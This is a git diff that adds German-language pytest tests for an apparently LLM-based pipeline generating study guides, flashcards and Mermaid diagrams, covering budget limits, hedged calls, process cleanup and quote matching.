update
This commit is contained in:
@@ -27,6 +27,43 @@ def test_referenz_muster_trifft_nur_referenzen():
|
||||
assert not any(artefakte._referenziert_quelle(k) for k in gut)
|
||||
|
||||
|
||||
async def test_nur_ohne_sieht_fehlende_flashcard():
|
||||
"""Ein lebendes Beispiel darf die Flashcard-Nachgenerierung nicht blockieren."""
|
||||
topic = topic_anlegen("fcfehlt")
|
||||
a = db.insert("atome", topic=topic, titel="X", typ="begriff", definition="d",
|
||||
status="neu", soll_id=1, braucht=db.j([]))
|
||||
b = db.insert("atome", topic=topic, titel="Y", typ="begriff", definition="d",
|
||||
status="neu", soll_id=1, braucht=db.j([]))
|
||||
# a: nur ein Beispiel, keine Flashcard → muss nachgeneriert werden
|
||||
db.insert("artefakte", atom_id=a, typ="beispiel", status="verifiziert",
|
||||
inhalt=db.j({"text": "Beispiel"}))
|
||||
# b: verifizierte Flashcard → versorgt, nicht mehr in nur_ohne
|
||||
db.insert("artefakte", atom_id=b, typ="flashcard", status="verifiziert",
|
||||
inhalt=db.j({"frage": "F", "antwort": "A"}))
|
||||
ids = [x["id"] for c in artefakte._chunks(topic, nur_ohne=True) for x in c]
|
||||
assert ids == [a]
|
||||
|
||||
|
||||
async def test_reverify_ausfall_laesst_kandidat(monkeypatch):
|
||||
"""Re-Verify-Ausfall (kein Urteil zur id) → Kandidat bleibt, nicht verworfen."""
|
||||
import fake_agents
|
||||
topic = topic_anlegen("reverify")
|
||||
run = run_anlegen(topic)
|
||||
a = db.insert("atome", topic=topic, titel="X", typ="begriff", definition="d",
|
||||
status="neu", braucht=db.j([]))
|
||||
k = db.insert("artefakte", atom_id=a, typ="flashcard", status="kandidat",
|
||||
inhalt=db.j({"frage": "Was ist X?", "antwort": "Y", "text": ""}))
|
||||
# Fix liefert saubere Karte; Re-Verify antwortet ohne Eintrag zur id → kein Urteil
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Artefakt-Fix",
|
||||
lambda p: {"frage": "Was ist X?", "antwort": "Y", "text": ""})
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Artefakt-Verify", lambda p: [])
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "artefakte"
|
||||
await artefakte._fixen(ctx, db.one("SELECT * FROM artefakte WHERE id=?", (k,)),
|
||||
["mangel"], {"id": a})
|
||||
assert db.one("SELECT status FROM artefakte WHERE id=?", (k,))["status"] == "kandidat"
|
||||
|
||||
|
||||
async def test_guard_verwirft_kandidat_und_repair_kann_nachlegen():
|
||||
topic = topic_anlegen("guard")
|
||||
run = run_anlegen(topic)
|
||||
|
||||
@@ -245,6 +245,110 @@ async def test_fix_fehlschlag_behaelt_befunde(monkeypatch):
|
||||
assert db.uj(sec["befunde"]) == ["Behebe (x): y"] # Aufträge bleiben sichtbar
|
||||
|
||||
|
||||
def test_marker_titel_erzeugen_keine_auftraege():
|
||||
"""Atom-Titel im Marker (a_n, A*-Suche) dürfen keine Mathe-/Stil-Aufträge
|
||||
erzeugen — der Fix darf Marker nie ändern, das wäre ein Endlos-Loop."""
|
||||
import db
|
||||
import guide
|
||||
from conftest import topic_anlegen
|
||||
topic = topic_anlegen("markerimmun")
|
||||
ziel = db.insert("lernziele", topic=topic, text="Kann X", status="aktiv")
|
||||
b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu")
|
||||
a1 = db.insert("atome", topic=topic, titel="Folge a_n", typ="begriff", definition="d",
|
||||
status="neu", baustein_id=b_id, braucht=db.j([]))
|
||||
a2 = db.insert("atome", topic=topic, titel="A*-Suche", typ="begriff", definition="d",
|
||||
status="neu", baustein_id=b_id, braucht=db.j([]))
|
||||
lang = (f"<!-- atom: {a1} | Folge a_n -->\n<!-- atom: {a2} | A*-Suche -->\n"
|
||||
+ "Sauberer Fließtext ohne Formeln. " * 12)
|
||||
joined = " ".join(guide._det_auftraege(topic, {"id": b_id, "ord": 0}, lang, ""))
|
||||
assert "a_n" not in joined and "A*" not in joined
|
||||
assert "Formel" not in joined and "$-Zeichen" not in joined and "2^" not in joined
|
||||
|
||||
|
||||
def test_persistieren_dedup_mit_detail():
|
||||
"""Mehrere Befunde gleicher (art,item) mit verschiedenem detail = je eine Zeile."""
|
||||
import db
|
||||
import llm
|
||||
import qa
|
||||
from conftest import run_anlegen, topic_anlegen
|
||||
topic = topic_anlegen("persist")
|
||||
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||
qa._persistieren(ctx, "guide", [{"art": "det_check", "item": "5", "detail": "A"},
|
||||
{"art": "det_check", "item": "5", "detail": "B"}])
|
||||
assert len(db.query("SELECT id FROM befunde WHERE status='offen'")) == 2
|
||||
qa._persistieren(ctx, "guide", [{"art": "det_check", "item": "5", "detail": "A"}])
|
||||
stat = {(b["detail"], b["status"]) for b in db.query("SELECT detail, status FROM befunde")}
|
||||
assert ("A", "offen") in stat and ("B", "repariert") in stat
|
||||
|
||||
|
||||
async def test_fix_offen_in_messen():
|
||||
"""Gescheiterter Fix (stage done, Rest-Aufträge) passiert das Gate nicht mehr."""
|
||||
import db
|
||||
import guide
|
||||
import llm
|
||||
from conftest import run_anlegen, topic_anlegen
|
||||
topic = topic_anlegen("fixoffen")
|
||||
ziel = db.insert("lernziele", topic=topic, text="Kann X", status="aktiv")
|
||||
b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu")
|
||||
a = db.insert("atome", topic=topic, titel="A", typ="begriff", definition="d",
|
||||
status="neu", baustein_id=b_id, braucht=db.j([]))
|
||||
lang = f"<!-- atom: {a} | A -->\n" + "Wort " * 60
|
||||
db.insert("sections", baustein_id=b_id, stage="done", text_lang=lang,
|
||||
text_kompakt="- p", befunde=db.j(["KRITISCH (luecke): Atom-Inhalt fehlt"]))
|
||||
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||
ctx.ebene = "guide"
|
||||
assert "fix_offen" in {b["art"] for b in guide.messen(ctx)}
|
||||
|
||||
|
||||
async def test_reparieren_bewegt_false_bei_identischem_text(monkeypatch):
|
||||
"""Fix ändert den Text nicht → reparieren meldet ehrlich False (Stillstand)."""
|
||||
import db
|
||||
import fake_agents
|
||||
import guide
|
||||
import llm
|
||||
from conftest import run_anlegen, topic_anlegen
|
||||
topic = topic_anlegen("bewegt")
|
||||
run = run_anlegen(topic)
|
||||
ziel = db.insert("lernziele", topic=topic, text="Kann X", status="aktiv")
|
||||
b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu")
|
||||
a = db.insert("atome", topic=topic, titel="A", typ="begriff", definition="d",
|
||||
status="neu", baustein_id=b_id, braucht=db.j([]))
|
||||
lang = f"<!-- atom: {a} | A -->\n" + "Wort " * 60
|
||||
db.insert("sections", baustein_id=b_id, stage="fix", text_lang=lang,
|
||||
text_kompakt="- p", befunde=db.j(["Behebe (laenge): kürzen"]))
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Guide-Fix",
|
||||
lambda p: {"kompakt": "- p", "lang": lang}) # identisch
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "guide"
|
||||
bewegt = await guide.reparieren(
|
||||
ctx, [{"art": "det_check", "item": str(b_id), "detail": "kürzen"}])
|
||||
assert bewegt is False
|
||||
|
||||
|
||||
def test_stil_kein_fehlalarm_deutsch():
|
||||
"""Deutscher Satz mit Homographen an/will/Not → keine „englische Passage"."""
|
||||
import guide
|
||||
text = ("Wir passen die Kurve an und lesen den Wert an der Stelle ab, denn der"
|
||||
" Algorithmus will nicht in Not geraten und braucht das an dieser Stelle.")
|
||||
assert not any("englische Passage" in x for x in guide._stil_auftraege(text, "Langtext"))
|
||||
|
||||
|
||||
def test_pruefe_dich_norm_match():
|
||||
"""Frage-Matching ist Case/Whitespace-tolerant (Fix darf umformatieren)."""
|
||||
import db
|
||||
import guide
|
||||
from conftest import topic_anlegen
|
||||
topic = topic_anlegen("pruefe")
|
||||
ziel = db.insert("lernziele", topic=topic, text="Z", status="aktiv")
|
||||
b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu")
|
||||
a = db.insert("atome", topic=topic, titel="A", typ="begriff", definition="d",
|
||||
status="neu", baustein_id=b_id, braucht=db.j([]))
|
||||
db.insert("artefakte", atom_id=a, typ="flashcard", status="verifiziert",
|
||||
inhalt=db.j({"frage": "Was ist ein Graph?", "antwort": "Knoten und Kanten."}))
|
||||
fragen = guide._pruefe_dich(b_id, "Prüfe dich: Was ist ein Graph?")
|
||||
assert len(fragen) == 1 and fragen[0]["antwort"] == "Knoten und Kanten."
|
||||
|
||||
|
||||
def test_katex_gate_und_markdown_hygiene(monkeypatch):
|
||||
import guide
|
||||
monkeypatch.delenv("CREATOR_FAKE_AGENTS", raising=False) # Gate echt laufen lassen
|
||||
|
||||
@@ -39,6 +39,138 @@ async def test_infra_pause_statt_fail_open(monkeypatch):
|
||||
assert stati and all(s == "infra" for s in stati) # jeder Versuch im Ledger
|
||||
|
||||
|
||||
async def test_budget_vorab_stoppt_ohne_neuen_call(monkeypatch):
|
||||
"""Erschöpftes Budget → nächster call() wirft, BEVOR ein Agent-Call startet."""
|
||||
import db
|
||||
topic = topic_anlegen()
|
||||
run = run_anlegen(topic, budget=100)
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "test"
|
||||
# Budget künstlich überschreiten (ohne Agent-Call), Event-Zahl merken
|
||||
ledger.log_call(run, ebene="test", stage="seed", status="ok",
|
||||
tokens={"input": 200, "output": 0})
|
||||
vorher = db.one("SELECT COUNT(*) AS n FROM events WHERE run_id=?", (run,))["n"]
|
||||
|
||||
async def darf_nicht_laufen(key, prompt, timeout, **kw):
|
||||
raise AssertionError("Agent-Call trotz erschöpftem Budget gestartet")
|
||||
|
||||
monkeypatch.setattr(agents, "run_agent", darf_nicht_laufen)
|
||||
with pytest.raises(ledger.BudgetErschoepft):
|
||||
await llm.call(ctx, stage="soll", template="Korpus-Soll",
|
||||
werte={"topic": topic, "quelle": "q", "text": "x"}, erwartet=list)
|
||||
nachher = db.one("SELECT COUNT(*) AS n FROM events WHERE run_id=?", (run,))["n"]
|
||||
assert nachher == vorher # keine neue Ledger-Zeile = kein Call
|
||||
|
||||
|
||||
async def test_hedge_gewinner_trotz_haupt_timeout(monkeypatch):
|
||||
"""Haupt-Call läuft in Timeout, Zwilling (-h) liefert → Ergebnis statt Pause."""
|
||||
topic = topic_anlegen()
|
||||
run = run_anlegen(topic)
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "test"
|
||||
monkeypatch.setattr(llm, "HEDGE_NACH_S", 0.05)
|
||||
|
||||
async def haupt_stallt(key, prompt, timeout, **kw):
|
||||
if key.endswith("-h"): # Zwilling liefert gültiges JSON
|
||||
return agents.AgentErgebnis(0, "[]", "")
|
||||
await asyncio.sleep(10) # Haupt hängt → wird nach Timeout gecancelt
|
||||
return agents.AgentErgebnis(0, "[]", "")
|
||||
|
||||
monkeypatch.setattr(agents, "run_agent", haupt_stallt)
|
||||
# timeout klein halten, damit der Haupt-Task zügig als Timeout endet
|
||||
monkeypatch.setattr(llm, "timeout_fuer", lambda *a, **k: 0.2)
|
||||
res = await llm.call(ctx, stage="soll", template="Korpus-Soll",
|
||||
werte={"topic": topic, "quelle": "q", "text": "x"}, erwartet=list)
|
||||
assert res == [] # Zwilling hat geliefert, kein LaufPause
|
||||
|
||||
|
||||
async def test_hedge_verlierer_zaehlt_im_budget(monkeypatch):
|
||||
"""Beide Hedge-Calls liefern → zwei Ledger-Zeilen, Verlierer-Tokens im Budget."""
|
||||
import db
|
||||
topic = topic_anlegen()
|
||||
run = run_anlegen(topic)
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "test"
|
||||
monkeypatch.setattr(llm, "HEDGE_NACH_S", 0.05)
|
||||
monkeypatch.setattr(llm, "timeout_fuer", lambda *a, **k: 0.4) # schwelle=0.2
|
||||
|
||||
async def haupt_leer_zwilling_ok(key, prompt, timeout, **kw):
|
||||
if key.endswith("-h"): # Zwilling startet bei 0.2, liefert bei ~0.35
|
||||
await asyncio.sleep(0.15)
|
||||
return agents.AgentErgebnis(0, "[]", "")
|
||||
await asyncio.sleep(0.25) # Haupt: fertig, aber leer (nicht ok) → Verlierer
|
||||
return agents.AgentErgebnis(1, "", "leer", {"input": 40, "output": 20})
|
||||
|
||||
monkeypatch.setattr(agents, "run_agent", haupt_leer_zwilling_ok)
|
||||
res = await llm.call(ctx, stage="soll", template="Korpus-Soll",
|
||||
werte={"topic": topic, "quelle": "q", "text": "x"}, erwartet=list)
|
||||
assert res == []
|
||||
zeilen = db.query("SELECT status FROM events WHERE run_id=?", (run,))
|
||||
assert any(z["status"] == "hedge" for z in zeilen) # Verlierer geloggt
|
||||
assert ledger.verbraucht(run) >= 60 # Verlierer-Tokens (40+20) sichtbar
|
||||
|
||||
|
||||
async def test_spawn_kill_bei_cancel(monkeypatch):
|
||||
"""Task-Cancel (Hedge-Verlierer/Pause) killt den CLI-Prozess, kein Zombie."""
|
||||
import os
|
||||
monkeypatch.delenv("CREATOR_FAKE_AGENTS", raising=False)
|
||||
monkeypatch.setattr(agents, "_ram_gate", lambda key: _true())
|
||||
task = asyncio.ensure_future(
|
||||
agents._spawn("t-cancel", ["sleep", "30"], None, 30))
|
||||
for _ in range(200): # warten bis der Prozess registriert ist
|
||||
if agents._prozesse:
|
||||
break
|
||||
await asyncio.sleep(0.01)
|
||||
proc = next(iter(agents._prozesse.values()))
|
||||
pid = proc.pid
|
||||
task.cancel()
|
||||
with pytest.raises(asyncio.CancelledError):
|
||||
await task
|
||||
for _ in range(200): # Kill ist async
|
||||
try:
|
||||
os.kill(pid, 0)
|
||||
except ProcessLookupError:
|
||||
break
|
||||
await asyncio.sleep(0.01)
|
||||
with pytest.raises(ProcessLookupError):
|
||||
os.kill(pid, 0) # Prozess ist tot
|
||||
assert not agents._prozesse # aus der Registry entfernt
|
||||
|
||||
|
||||
async def _true():
|
||||
return True
|
||||
|
||||
|
||||
async def test_opencode_timeout_loggt_tokens(monkeypatch):
|
||||
"""opencode-Timeout: Tokens der Session werden geloggt, nicht als 0 verworfen."""
|
||||
monkeypatch.delenv("CREATOR_FAKE_AGENTS", raising=False)
|
||||
|
||||
async def spawn_timeout(*a, **kw):
|
||||
raise asyncio.TimeoutError
|
||||
|
||||
monkeypatch.setattr(agents, "_spawn", spawn_timeout)
|
||||
monkeypatch.setattr(agents, "_opencode_tokens",
|
||||
lambda key: {"input": 5000, "output": 3000})
|
||||
res = await agents._opencode("t-oc", "prompt", 10, "minimax/M", "none")
|
||||
assert res.err == "timeout" and not res.ok
|
||||
assert res.tokens == {"input": 5000, "output": 3000} # nicht 0
|
||||
|
||||
|
||||
def test_gather_nur_in_llm():
|
||||
"""Rückfall-Guard: bare asyncio.gather darf NUR in llm.py stehen (sonst
|
||||
laufen Geschwister-Tasks bei LaufPause/Budget weiter — nutze llm.alle)."""
|
||||
from pathlib import Path
|
||||
backend = Path(__file__).resolve().parent.parent / "backend"
|
||||
treffer = []
|
||||
for p in backend.glob("*.py"):
|
||||
if p.name == "llm.py":
|
||||
continue
|
||||
for i, zeile in enumerate(p.read_text(encoding="utf-8").splitlines(), 1):
|
||||
if "asyncio.gather" in zeile:
|
||||
treffer.append(f"{p.name}:{i}")
|
||||
assert not treffer, f"bare asyncio.gather außerhalb llm.py: {treffer}"
|
||||
|
||||
|
||||
async def test_inhaltsfehler_kein_laufabbruch(monkeypatch):
|
||||
topic = topic_anlegen()
|
||||
run = run_anlegen(topic)
|
||||
|
||||
130
tests/test_diagramme.py
Normal file
130
tests/test_diagramme.py
Normal file
@@ -0,0 +1,130 @@
|
||||
"""Ebene 3.5 Diagramme: deterministische DAG-Diagramme (kein LLM), Spec→Mermaid."""
|
||||
|
||||
import db
|
||||
import diagramme
|
||||
import llm
|
||||
from conftest import run_anlegen, topic_anlegen
|
||||
|
||||
|
||||
def _baustein_mit_kette(topic, n=4):
|
||||
"""Baustein mit n Atomen und einer braucht-Kette a0←a1←…←a(n-1) (n-1 Kanten)."""
|
||||
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||
ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv")
|
||||
b = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu")
|
||||
atome = [db.insert("atome", topic=topic, titel=f"Atom {i}", typ="begriff",
|
||||
definition="d", status="neu", baustein_id=b, ord=i, braucht=db.j([]))
|
||||
for i in range(n)]
|
||||
for i in range(1, n): # Atom i braucht Atom i-1
|
||||
db.execute("INSERT INTO kanten(topic, von_atom, zu_atom, art) VALUES(?,?,?,'braucht')",
|
||||
(topic, atome[i], atome[i - 1]))
|
||||
return b, atome
|
||||
|
||||
|
||||
def test_spec_zu_mermaid_flowchart():
|
||||
spec = {"typ": "dependency",
|
||||
"knoten": [{"id": "1", "label": "A"}, {"id": "2", "label": 'B "x" [y]'}],
|
||||
"kanten": [{"von": "1", "zu": "2", "label": ""}]}
|
||||
out = diagramme._spec_zu_mermaid(spec)
|
||||
assert out.startswith("flowchart TD")
|
||||
assert 'n1["A"]' in out and "n1 --> n2" in out
|
||||
assert '"' not in out.split("\n", 1)[1].replace('["', "").replace('"]', "") # Label entschärft
|
||||
|
||||
|
||||
async def test_dag_diagramm_wird_gebaut_und_verifiziert():
|
||||
topic = topic_anlegen("diag-dag")
|
||||
b, atome = _baustein_mit_kette(topic, n=4) # 3 Kanten ≥ DIAGRAMM_MIN_KANTEN
|
||||
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||
await diagramme.bauen(ctx)
|
||||
d = db.one("SELECT * FROM diagramme WHERE baustein_id=?", (b,))
|
||||
assert d and d["status"] == "verifiziert" and d["quelle"] == "dag"
|
||||
assert d["mermaid"].startswith("flowchart TD")
|
||||
assert all(f"n{a}" in d["mermaid"] for a in atome) # jeder Knoten drin
|
||||
assert diagramme.messen(ctx) == [] # keine offenen Kandidaten
|
||||
assert diagramme.gate(ctx) is None
|
||||
|
||||
|
||||
async def test_wenig_kanten_kein_diagramm():
|
||||
topic = topic_anlegen("diag-leer")
|
||||
b, _ = _baustein_mit_kette(topic, n=2) # nur 1 Kante < Schwelle
|
||||
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||
await diagramme.bauen(ctx)
|
||||
# kein GEBAUTES Diagramm (Fake-Judge sagt noetig=False → nur eine 'kein'-Merkzeile)
|
||||
assert db.query("SELECT id FROM diagramme WHERE topic=? AND status='verifiziert'",
|
||||
(topic,)) == []
|
||||
assert db.one("SELECT status FROM diagramme WHERE baustein_id=?", (b,))["status"] == "kein"
|
||||
|
||||
|
||||
async def test_llm_diagramm_plan_spec_verify(monkeypatch):
|
||||
"""LLM-Zweig: Judge sagt nötig → Spec → Mermaid → Grounding-Panel verifiziert."""
|
||||
import fake_agents
|
||||
topic = topic_anlegen("diag-llm")
|
||||
# Baustein OHNE genug Kanten (kein DAG) → LLM-Zweig entscheidet
|
||||
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||
ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv")
|
||||
b = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="Automat", ord=0, status="neu")
|
||||
for i in range(3):
|
||||
db.insert("atome", topic=topic, titel=f"Zustand {i}", typ="begriff", definition="d",
|
||||
status="neu", baustein_id=b, ord=i, braucht=db.j([]))
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Diagramm-Plan",
|
||||
lambda p: {"noetig": True, "typ": "state"})
|
||||
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||
await diagramme.bauen(ctx)
|
||||
d = db.one("SELECT * FROM diagramme WHERE baustein_id=?", (b,))
|
||||
assert d["status"] == "verifiziert" and d["quelle"] == "llm" and d["typ"] == "state"
|
||||
assert d["mermaid"].startswith("stateDiagram-v2")
|
||||
|
||||
|
||||
async def test_llm_diagramm_grounding_verwirft(monkeypatch):
|
||||
"""Grounding-Panel einstimmig ok=false → Diagramm verworfen (fail-closed)."""
|
||||
import fake_agents
|
||||
topic = topic_anlegen("diag-verwirf")
|
||||
soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([]))
|
||||
ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv")
|
||||
b = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="X", ord=0, status="neu")
|
||||
for i in range(3):
|
||||
db.insert("atome", topic=topic, titel=f"K{i}", typ="begriff", definition="d",
|
||||
status="neu", baustein_id=b, ord=i, braucht=db.j([]))
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Diagramm-Plan",
|
||||
lambda p: {"noetig": True, "typ": "flow"})
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Diagramm-Verify",
|
||||
lambda p: [{"ok": False, "mangel": "erfundener Knoten"}])
|
||||
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||
await diagramme.bauen(ctx)
|
||||
assert db.one("SELECT status FROM diagramme WHERE baustein_id=?", (b,))["status"] == "verworfen"
|
||||
|
||||
|
||||
async def test_marker_wird_zu_fence():
|
||||
"""Assembly: platzierter <!-- diagramm: id --> → ```mermaid-Fence."""
|
||||
import guide
|
||||
topic = topic_anlegen("diag-place")
|
||||
b, _ = _baustein_mit_kette(topic, n=4)
|
||||
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||
await diagramme.bauen(ctx)
|
||||
d = db.one("SELECT id FROM diagramme WHERE baustein_id=?", (b,))
|
||||
db.insert("sections", baustein_id=b, stage="done", text_kompakt="- k",
|
||||
text_lang=f"Text.\n\n<!-- diagramm: {d['id']} -->\n\nMehr Text.")
|
||||
lang = guide.kapitel_struktur(topic)[0]["sections"][0]["lang"]
|
||||
assert "```mermaid" in lang and "flowchart TD" in lang
|
||||
assert "<!-- diagramm:" not in lang # Marker ersetzt
|
||||
|
||||
|
||||
async def test_toter_diagramm_marker_wird_entfernt():
|
||||
import guide
|
||||
topic = topic_anlegen("diag-tot")
|
||||
b, _ = _baustein_mit_kette(topic, n=2) # kein Diagramm gebaut
|
||||
db.insert("sections", baustein_id=b, stage="done", text_kompakt="- k",
|
||||
text_lang="Text.\n\n<!-- diagramm: 999 -->\n\nMehr.")
|
||||
lang = guide.kapitel_struktur(topic)[0]["sections"][0]["lang"]
|
||||
assert "<!-- diagramm:" not in lang and "```mermaid" not in lang
|
||||
|
||||
|
||||
async def test_guide_messen_meldet_toten_marker():
|
||||
"""Ein Marker ohne verifiziertes Diagramm → diagramm_marker_tot in guide.messen."""
|
||||
import guide
|
||||
topic = topic_anlegen("diag-qa")
|
||||
b, _ = _baustein_mit_kette(topic, n=4)
|
||||
db.insert("sections", baustein_id=b, stage="done", text_kompakt="- k",
|
||||
text_lang="Text.\n\n<!-- diagramm: 777 -->\n\n" + "Wort " * 60)
|
||||
ctx = llm.Kontext(run_anlegen(topic), topic, "minimax")
|
||||
ctx.ebene = "guide"
|
||||
assert "diagramm_marker_tot" in {x["art"] for x in guide.messen(ctx)}
|
||||
@@ -142,7 +142,7 @@ async def test_ebenen_entfernen_kaskade():
|
||||
assert db.one("SELECT status FROM topics WHERE name=?", (topic,))["status"] == "artefakte_fertig"
|
||||
# Anzeige-Reset: Token-Zählung der entfernten Ebenen beginnt neu (Events bleiben)
|
||||
resets = db.uj(db.one("SELECT resets FROM topics WHERE name=?", (topic,))["resets"], {})
|
||||
assert set(resets) == {"struktur", "guide"}
|
||||
assert set(resets) == {"struktur", "diagramme", "guide"} # diagramme hängt an struktur
|
||||
assert resets["struktur"] == db.one("SELECT MAX(id) AS m FROM events")["m"]
|
||||
run2 = await _lauf_komplett(topic)
|
||||
_pruefe_endzustand(topic, run2)
|
||||
|
||||
@@ -55,6 +55,99 @@ async def test_anker_rematch_ohne_llm(tmp_path):
|
||||
b["art"] != "atom_ohne_anker" for b in inventar.messen(ctx))
|
||||
|
||||
|
||||
async def test_resume_liest_teilextrahierte_quelle_weiter(tmp_path):
|
||||
"""Abbruch mitten in der Extraktion (atome_stand leer): der Resume liest die
|
||||
Quelle komplett neu, statt sie als fertig zu überspringen."""
|
||||
topic = topic_anlegen("resume-ext")
|
||||
run = run_anlegen(topic)
|
||||
snap = tmp_path / "q.md"
|
||||
snap.write_text("Absatz eins über Kompaktheit.\n\nAbsatz zwei über Vollständigkeit.",
|
||||
encoding="utf-8")
|
||||
# Quelle hat schon EIN verankertes Atom, aber atome_stand ist leer (Abbruch)
|
||||
q = db.insert("quellen", topic=topic, art="datei", titel="q",
|
||||
snapshot=str(snap), hash="h", status="extrahiert", atome_stand="")
|
||||
a = db.insert("atome", topic=topic, titel="Alt", typ="begriff", definition="d",
|
||||
status="neu", braucht=db.j([]))
|
||||
db.insert("anker", atom_id=a, quelle_id=q, start=0, ende=5, zitat="Absatz")
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "inventar"
|
||||
await inventar._extrahiere_quelle(ctx, db.one("SELECT * FROM quellen WHERE id=?", (q,)))
|
||||
# neu gelesen → Extraktions-Events da, atome_stand jetzt gesetzt
|
||||
assert db.query("SELECT id FROM events WHERE run_id=? AND stage='extraktion'", (run,))
|
||||
assert db.one("SELECT atome_stand FROM quellen WHERE id=?", (q,))["atome_stand"] == "atome"
|
||||
|
||||
# Gegenprobe: mit gesetztem Merker wird NICHT neu gelesen
|
||||
run2 = run_anlegen(topic)
|
||||
ctx2 = llm.Kontext(run2, topic, "minimax")
|
||||
ctx2.ebene = "inventar"
|
||||
await inventar._extrahiere_quelle(ctx2, db.one("SELECT * FROM quellen WHERE id=?", (q,)))
|
||||
assert db.query("SELECT id FROM events WHERE run_id=?", (run2,)) == []
|
||||
|
||||
|
||||
async def test_stichentscheid_braucht_zwei_stimmen(monkeypatch):
|
||||
"""Verwerfen (destruktiv) nur bei vollzähligem einstimmigem „fremd"-Panel."""
|
||||
topic = topic_anlegen("stich")
|
||||
run = run_anlegen(topic)
|
||||
db.insert("soll", topic=topic, punkt="P1", status="bestaetigt", belege=db.j([]))
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "inventar"
|
||||
|
||||
def neu_atom():
|
||||
return db.insert("atome", topic=topic, titel="X", typ="begriff",
|
||||
definition="d", status="neu", braucht=db.j([]))
|
||||
|
||||
def panel_mit(votes):
|
||||
async def _p(ctx, groesse, **kw):
|
||||
return list(votes)
|
||||
return _p
|
||||
|
||||
a1 = neu_atom() # 1× fremd → nicht vollzählig → Atom bleibt
|
||||
monkeypatch.setattr(llm, "panel", panel_mit([{"soll": "fremd"}]))
|
||||
await inventar._soll_stichentscheid(ctx, a1)
|
||||
assert db.one("SELECT status FROM atome WHERE id=?", (a1,))["status"] == "neu"
|
||||
|
||||
a2 = neu_atom() # 2× fremd → verworfen
|
||||
monkeypatch.setattr(llm, "panel", panel_mit([{"soll": "fremd"}, {"soll": "fremd"}]))
|
||||
await inventar._soll_stichentscheid(ctx, a2)
|
||||
assert db.one("SELECT status FROM atome WHERE id=?", (a2,))["status"] == "verworfen"
|
||||
|
||||
a3 = neu_atom() # 2× ohne soll-Feld → kein fremd-Votum → bleibt
|
||||
monkeypatch.setattr(llm, "panel", panel_mit([{}, {}]))
|
||||
await inventar._soll_stichentscheid(ctx, a3)
|
||||
assert db.one("SELECT status FROM atome WHERE id=?", (a3,))["status"] == "neu"
|
||||
|
||||
|
||||
async def test_anker_batch_ausfall_verwirft_nicht(monkeypatch, tmp_path):
|
||||
"""Call-Ausfall (None) ≠ „keine Quellstelle" → Atom bleibt ohne_anker, bewegt=False."""
|
||||
import fake_agents
|
||||
topic = topic_anlegen("ankerfail")
|
||||
run = run_anlegen(topic)
|
||||
snap = tmp_path / "q.md"
|
||||
snap.write_text("Ganz anderer Text ohne die gesuchte Stelle.", encoding="utf-8")
|
||||
q = db.insert("quellen", topic=topic, art="datei", titel="q",
|
||||
snapshot=str(snap), hash="h", status="atome")
|
||||
a = db.insert("atome", topic=topic, titel="T", typ="begriff", definition="d",
|
||||
status="ohne_anker", braucht=db.j([]))
|
||||
db.insert("anker", atom_id=a, quelle_id=q, start=-1, ende=-1,
|
||||
zitat="Ein Zitat das nirgends im Quelltext steht und lang genug ist.")
|
||||
monkeypatch.setitem(fake_agents._HANDLER, "Atom-Anker-Fix-Batch", lambda p: {})
|
||||
ctx = llm.Kontext(run, topic, "minimax")
|
||||
ctx.ebene = "inventar"
|
||||
bewegt = await inventar._anker_fixen_batch(ctx, [a])
|
||||
assert db.one("SELECT status FROM atome WHERE id=?", (a,))["status"] == "ohne_anker"
|
||||
assert bewegt is False
|
||||
|
||||
|
||||
def test_finde_zitat_casefold_sz_offsets():
|
||||
"""casefold-Stufe: ß→ss-Expansionen vor dem Treffer dürfen den Span nicht
|
||||
verschieben; Treffer am Textende darf nicht in einen IndexError laufen."""
|
||||
import textkit
|
||||
text = "Straße und Fußweg. " * 30 + "DER KERNSATZ STEHT AM ENDE."
|
||||
span = textkit.finde_zitat(text, "der kernsatz steht am ende.")
|
||||
assert span is not None
|
||||
assert text[span[0]:span[1]] == "DER KERNSATZ STEHT AM ENDE."
|
||||
|
||||
|
||||
def test_titel_kern_faltet_schreibvarianten():
|
||||
import textkit
|
||||
assert textkit.titel_kern("ΔTSP2 Tour‑Länge") == textkit.titel_kern("ΔTSP2 Tour-Länge")
|
||||
|
||||
@@ -87,6 +87,64 @@ async def test_hartnaeckig_vergessene_wird_befund(monkeypatch):
|
